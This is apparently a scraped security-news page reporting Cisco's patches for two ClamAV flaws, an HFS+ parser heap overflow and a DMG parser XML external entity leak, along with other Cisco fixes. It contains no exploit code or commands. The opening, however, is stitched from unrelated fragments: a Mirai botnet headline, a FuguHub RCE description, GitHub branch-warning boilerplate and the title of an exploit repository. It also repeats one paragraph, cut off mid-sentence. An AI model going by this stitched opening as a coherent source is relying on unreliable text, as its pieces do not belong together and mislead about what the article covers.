Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

New Mirai Botnet Variant 'V3G4' Exploiting 13 Flaws to Target Linux and IoT Devices

Real Time Logic FuguHub v8.1 and earlier was discovered to contain a remote code execution (RCE) vulnerability via the component /FuguHub/cmsdocs/.

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

CVE-2023-24078: GitHub - ojan2021/Fuguhub-8.1-RCE

Cisco has rolled out security updates to address a critical flaw reported in the ClamAV open source antivirus engine that could lead to remote code execution on susceptible devices.
Tracked as CVE-2023-20032 (CVSS score: 9.8), the issue relates to a case of remote code execution residing in the HFS+ file parser component.
The flaw affects versions 1.0.0 and earlier, 0.105.1 and earlier, and

Sysadmin / Endpoint Security

Cisco has rolled out security updates to address a critical flaw reported in the ClamAV open source antivirus engine that could lead to remote code execution on susceptible devices.

Tracked as CVE-2023-20032 (CVSS score: 9.8), the issue relates to a case of remote code execution residing in the HFS+ file parser component.

The flaw affects versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier. Google security engineer Simon Scannell has been credited with discovering and reporting the bug.

"This vulnerability is due to a missing buffer size check that may result in a heap buffer overflow write," Cisco Talos said in an advisory. "An attacker could exploit this vulnerability by submitting a crafted HFS+ partition file to be scanned by ClamAV on an affected device."

Successful exploitation of the weakness could enable an adversary to run arbitrary code with the same privileges as that of the ClamAV scanning process, or crash the process, resulting in a denial-of-service (DoS) condition.

The networking equipment said the following products are vulnerable -

*   Secure Endpoint, formerly Advanced Malware Protection (AMP) for Endpoints (Windows, macOS, and Linux)
*   Secure Endpoint Private Cloud, and
*   Secure Web Appliance, formerly Web Security Appliance

It further confirmed that the vulnerability does not impact Secure Email Gateway (formerly Email Security Appliance) and Secure Email and Web Manager (formerly Security Management Appliance) products.

Also patched by Cisco is a remote information leak vulnerability in ClamAV's DMG file parser (CVE-2023-20052, CVSS score: 5.3) that could be exploited by an unauthenticated, remote attacker.

"This vulnerability is due to enabling XML entity substitution that may result in XML external entity injection," Cisco noted. "An attacker could exploit this vulnerability by submitting a crafted DMG file to be scanned by ClamAV on an affected device."

It's worth pointing out that CVE-2023-20052 does not affect Cisco Secure Web Appliance. That said, both vulnerabilities have been addressed in ClamAV versions 0.103.8, 0.105.2, and 1.0.1.

Cisco separately also resolved a denial-of-service (DoS) vulnerability impacting Cisco Nexus Dashboard (CVE-2023-20014, CVSS score: 7.5) and two other privilege escalation and command injection flaws in Email Security Appliance (ESA) and Secure Email and Web Manager (CVE-2023-20009 and CVE-2023-20075, CVSS scores: 6.5).

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#rce